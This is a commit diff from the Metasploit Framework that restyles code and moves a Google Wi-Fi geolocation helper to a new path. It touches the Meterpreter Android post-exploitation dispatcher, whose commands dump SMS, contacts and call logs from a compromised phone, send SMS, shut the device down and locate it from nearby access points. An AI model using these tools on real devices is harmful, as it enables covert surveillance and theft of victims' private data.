style fixes, moved google_geolocate to google/geolocate

This commit is contained in:
Brent Cook 2015-08-15 19:49:32 -05:00
parent 1db376bed8
commit 422bba87d3
5 changed files with 158 additions and 183 deletions

68
lib/rex/google/geolocation.rb Executable file
View File

@ -0,0 +1,68 @@
#!/usr/bin/env ruby
require 'net/http'
require 'json'
module Rex
module Google
# @example
# g = Rex::Google::Geolocation.new
# g.add_wlan("00:11:22:33:44:55", "example", -80)
# g.fetch!
# puts g, g.google_maps_url
class Geolocation
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
attr_accessor :accuracy
attr_accessor :latitude
attr_accessor :longitude
def initialize
@uri = URI.parse(URI.encode(GOOGLE_API_URI))
@wlan_list = []
end
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
# addresses of access points), ESSIDs (AP names), and signal strengths.
def fetch!
@uri.query << @wlan_list.take(10).join("&wifi=")
request = Net::HTTP::Get.new(@uri.request_uri)
http = Net::HTTP.new(@uri.host, @uri.port)
http.use_ssl = true
response = http.request(request)
if response && response.code == '200'
results = JSON.parse(response.body)
self.latitude = results["location"]["lat"]
self.longitude = results["location"]["lng"]
self.accuracy = results["accuracy"]
else
msg = "Failure connecting to Google for location lookup."
msg += " Code #{response.code} for query #{@uri}" if response
fail msg
end
end
# Add an AP to the list to send to Google when {#fetch!} is called.
#
# Turns out Google's API doesn't really care about ESSID or signal strength
# as long as you have BSSIDs. Presumably adding them will make it more
# accurate? Who knows.
#
# @param mac [String] in the form "00:11:22:33:44:55"
# @param ssid [String] ESSID associated with the mac
# @param signal_strength [String] a thing like
def add_wlan(mac, ssid = nil, signal_strength = nil)
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
end
def google_maps_url
"https://maps.google.com/?q=#{latitude},#{longitude}"
end
def to_s
"Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}."
end
end
end
end

View File

@ -1,66 +0,0 @@
#!/usr/bin/env ruby
require 'net/http'
require 'json'
module Rex
# @example
# g = GoogleGeolocation.new
# g.add_wlan("00:11:22:33:44:55", "example", -80)
# g.fetch!
# puts g, g.google_maps_url
class GoogleGeolocation
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
attr_accessor :accuracy
attr_accessor :latitude
attr_accessor :longitude
def initialize
@uri = URI.parse(URI.encode(GOOGLE_API_URI))
@wlan_list = []
end
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
# addresses of access points), ESSIDs (AP names), and signal strengths.
def fetch!
@uri.query << @wlan_list.take(10).join("&wifi=")
request = Net::HTTP::Get.new(@uri.request_uri)
http = Net::HTTP.new(@uri.host, @uri.port)
http.use_ssl = true
response = http.request(request)
if response && response.code == '200'
results = JSON.parse(response.body)
self.latitude = results["location"]["lat"]
self.longitude = results["location"]["lng"]
self.accuracy = results["accuracy"]
else
msg = "Failure connecting to Google for location lookup."
msg += " Code #{response.code} for query #{@uri.to_s}" if response
fail msg
end
end
# Add an AP to the list to send to Google when {#fetch!} is called.
#
# Turns out Google's API doesn't really care about ESSID or signal strength
# as long as you have BSSIDs. Presumably adding them will make it more
# accurate? Who knows.
#
# @param mac [String] in the form "00:11:22:33:44:55"
# @param ssid [String] ESSID associated with the mac
# @param signal_strength [String] a thing like
def add_wlan(mac, ssid = nil, signal_strength = nil)
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
end
def google_maps_url
"https://maps.google.com/?q=#{latitude},#{longitude}"
end
def to_s
"Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}."
end
end
end

View File

@ -1,18 +1,16 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
require 'msf/core/auxiliary/report'
require 'rex/google_geolocation'
require 'rex/google/geolocation'
module Rex
module Post
module Meterpreter
module Ui
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Console::CommandDispatcher::Android
include Console::CommandDispatcher
include Msf::Auxiliary::Report
@ -28,8 +26,8 @@ class Console::CommandDispatcher::Android
'dump_calllog' => 'Get call log',
'check_root' => 'Check if device is rooted',
'device_shutdown' => 'Shutdown device',
'send_sms' => 'Sends SMS from target session',
'wlan_geolocate' => 'Get current lat-long using WLAN information',
'send_sms' => 'Sends SMS from target session',
'wlan_geolocate' => 'Get current lat-long using WLAN information'
}
reqs = {
@ -39,25 +37,24 @@ class Console::CommandDispatcher::Android
'dump_calllog' => [ 'dump_calllog' ],
'check_root' => [ 'check_root' ],
'device_shutdown' => [ 'device_shutdown'],
'send_sms' => [ 'send_sms' ],
'wlan_geolocate' => [ 'wlan_geolocate' ]
'send_sms' => [ 'send_sms' ],
'wlan_geolocate' => [ 'wlan_geolocate' ]
}
# Ensure any requirements of the command are met
all.delete_if do |cmd, desc|
reqs[cmd].any? { |req| not client.commands.include?(req) }
all.delete_if do |cmd, _desc|
reqs[cmd].any? { |req| !client.commands.include?(req) }
end
end
def cmd_device_shutdown(*args)
seconds = 0
device_shutdown_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ false, 'Shutdown after n seconds']
)
device_shutdown_opts.parse(args) { | opt, idx, val |
device_shutdown_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: device_shutdown [options]')
@ -67,26 +64,25 @@ class Console::CommandDispatcher::Android
when '-t'
seconds = val.to_i
end
}
end
res = client.android.device_shutdown(seconds)
if res
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
else
print_error('Device shutdown failed')
end
end
def cmd_dump_sms(*args)
def cmd_dump_sms(*args)
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for sms list']
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for sms list']
)
dump_sms_opts.parse(args) { | opt, idx, val |
dump_sms_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_sms [options]')
@ -96,19 +92,18 @@ class Console::CommandDispatcher::Android
when '-o'
path = val
end
}
end
smsList = []
smsList = client.android.dump_sms
sms_list = client.android.dump_sms
if smsList.count > 0
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
if sms_list.count > 0
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=====================\n"
data << "[+] Sms messages dump\n"
data << "[+] SMS messages dump\n"
data << "=====================\n\n"
time = Time.new
@ -117,8 +112,7 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
smsList.each_with_index { |a, index|
sms_list.each_with_index do |a, index|
data << "##{index.to_i + 1}\n"
type = 'Unknown'
@ -152,14 +146,14 @@ class Console::CommandDispatcher::Android
data << "Address\t: #{a['address']}\n"
data << "Status\t: #{status}\n"
data << "Message\t: #{a['body']}\n\n"
}
end
::File.write(path, data)
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
return true
rescue
print_error("Error getting messages: #{$!}")
print_error("Error getting messages: #{$ERROR_INFO}")
return false
end
else
@ -168,18 +162,15 @@ class Console::CommandDispatcher::Android
end
end
def cmd_dump_contacts(*args)
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_contacts_opts = Rex::Parser::Arguments.new(
dump_contacts_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for contacts list']
)
dump_contacts_opts.parse(args) { | opt, idx, val |
dump_contacts_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_contacts [options]')
@ -189,13 +180,12 @@ class Console::CommandDispatcher::Android
when '-o'
path = val
end
}
end
contactList = []
contactList = client.android.dump_contacts
contact_list = client.android.dump_contacts
if contactList.count > 0
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
if contact_list.count > 0
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
begin
info = client.sys.config.sysinfo
@ -210,32 +200,28 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
contactList.each_with_index { |c, index|
contact_list.each_with_index do |c, index|
data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n"
if c['number'].count > 0
(c['number']).each { |n|
data << "Number\t: #{n}\n"
}
c['number'].each do |n|
data << "Number\t: #{n}\n"
end
if c['email'].count > 0
(c['email']).each { |n|
data << "Email\t: #{n}\n"
}
c['email'].each do |n|
data << "Email\t: #{n}\n"
end
data << "\n"
}
end
::File.write(path, data)
print_status("Contacts list saved to: #{path}")
return true
rescue
print_error("Error getting contacts list: #{$!}")
print_error("Error getting contacts list: #{$ERROR_INFO}")
return false
end
else
@ -248,13 +234,11 @@ class Console::CommandDispatcher::Android
generate_map = false
geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-g' => [ false, 'Generate map using google-maps']
)
geolocate_opts.parse(args) { | opt, idx, val |
geolocate_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: geolocate [options]')
@ -264,7 +248,7 @@ class Console::CommandDispatcher::Android
when '-g'
generate_map = true
end
}
end
geo = client.android.geolocate
@ -283,7 +267,6 @@ class Console::CommandDispatcher::Android
end
def cmd_dump_calllog(*args)
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_calllog_opts = Rex::Parser::Arguments.new(
@ -292,7 +275,7 @@ class Console::CommandDispatcher::Android
)
dump_calllog_opts.parse(args) { | opt, idx, val |
dump_calllog_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_calllog [options]')
@ -302,12 +285,12 @@ class Console::CommandDispatcher::Android
when '-o'
path = val
end
}
end
log = client.android.dump_calllog
if log.count > 0
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
begin
info = client.sys.config.sysinfo
@ -322,23 +305,21 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
log.each_with_index { |a, index|
log.each_with_index do |a, index|
data << "##{index.to_i + 1}\n"
data << "Number\t: #{a['number']}\n"
data << "Name\t: #{a['name']}\n"
data << "Date\t: #{a['date']}\n"
data << "Type\t: #{a['type']}\n"
data << "Duration: #{a['duration']}\n\n"
}
end
::File.write(path, data)
print_status("Call log saved to #{path}")
return true
rescue
print_error("Error getting call log: #{$!}")
print_error("Error getting call log: #{$ERROR_INFO}")
return false
end
else
@ -347,15 +328,13 @@ class Console::CommandDispatcher::Android
end
end
def cmd_check_root(*args)
check_root_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
check_root_opts.parse(args) { | opt, idx, val |
check_root_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: check_root [options]')
@ -363,13 +342,13 @@ class Console::CommandDispatcher::Android
print_line(check_root_opts.usage)
return
end
}
end
is_rooted = client.android.check_root
if is_rooted
print_good('Device is rooted')
elsif
else
print_status('Device is not rooted')
end
end
@ -381,10 +360,12 @@ class Console::CommandDispatcher::Android
'-t' => [ true, 'SMS body text' ],
'-dr' => [ false, 'Wait for delivery report' ]
)
dest=''
body=''
dr=false
send_sms_opts.parse(args) { | opt, idx, val |
dest = ''
body = ''
dr = false
send_sms_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: send_sms -d <number> -t <sms body>')
@ -392,48 +373,48 @@ class Console::CommandDispatcher::Android
print_line(send_sms_opts.usage)
return
when '-d'
dest=val
dest = val
when '-t'
body=val
body = val
when '-dr'
dr=true
dr = true
end
}
if (dest.blank? or body.blank?)
print_error("You must enter both a destination address -d and the SMS text body -t")
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
print_line(send_sms_opts.usage)
return
end
sent=client.android.send_sms(dest,body,dr)
if (dr)
if (sent[0]=="Transmission successful")
print_good("SMS sent - #{sent[0]}")
if dest.blank? || body.blank?
print_error("You must enter both a destination address -d and the SMS text body -t")
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
print_line(send_sms_opts.usage)
return
end
sent = client.android.send_sms(dest, body, dr)
if dr
if sent[0] == "Transmission successful"
print_good("SMS sent - #{sent[0]}")
else
print_error("SMS send failed - #{sent[0]}")
print_error("SMS send failed - #{sent[0]}")
end
if (sent[1]=="Transmission successful")
print_good("SMS delivered - #{sent[1]}")
if sent[1] == "Transmission successful"
print_good("SMS delivered - #{sent[1]}")
else
print_error("SMS delivery failed - #{sent[1]}")
print_error("SMS delivery failed - #{sent[1]}")
end
else
if (sent=="Transmission successful")
print_good("SMS sent - #{sent}")
if sent == "Transmission successful"
print_good("SMS sent - #{sent}")
else
print_error("SMS send failed - #{sent}")
print_error("SMS send failed - #{sent}")
end
end
end
def cmd_wlan_geolocate(*args)
wlan_geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
wlan_geolocate_opts.parse(args) { | opt, idx, val |
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: wlan_geolocate')
@ -441,23 +422,22 @@ class Console::CommandDispatcher::Android
print_line(wlan_geolocate_opts.usage)
return
end
}
end
log = client.android.wlan_geolocate
wlan_list=[]
wlan_str=""
log.each{|x|
mac=x['bssid']
ssid=x['ssid']
ss=x['level']
wlan_list << [mac,ssid,ss.to_s]
}
wlan_list = []
log.each do |x|
mac = x['bssid']
ssid = x['ssid']
ss = x['level']
wlan_list << [mac, ssid, ss.to_s]
end
if wlan_list.blank?
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
return
end
g = Rex::GoogleGeolocation.new
g = Rex::Google::Geolocation.new
wlan_list.each do |wlan|
g.add_wlan(*wlan)
@ -470,21 +450,15 @@ class Console::CommandDispatcher::Android
print_status(g.to_s)
print_status("Google Maps URL: #{g.google_maps_url}")
end
end
#
# Name for this dispatcher
#
def name
'Android'
end
end
end
end
end
end

View File

@ -5,7 +5,7 @@
require 'msf/core'
require 'rex'
require 'rex/google_geolocation'
require 'rex/google/geolocation'
class Metasploit3 < Msf::Post
@ -84,12 +84,11 @@ class Metasploit3 < Msf::Post
end
def perform_geolocation(wlan_list)
if wlan_list.blank?
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
return
end
g = Rex::GoogleGeolocation.new
g = Rex::Google::Geolocation.new
wlan_list.each do |wlan|
g.add_wlan(*wlan)

View File

@ -9,7 +9,7 @@ while File.symlink?(msfbase)
end
$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'rex/google_geolocation'
require 'rex/google/geolocation'
require 'optparse'
if ARGV.empty?
@ -21,7 +21,7 @@ if ARGV.empty?
exit(1)
end
g = Rex::GoogleGeolocation.new
g = Rex::Google::Geolocation.new
ARGV.each do |mac|
g.add_wlan(mac, nil, -83)
end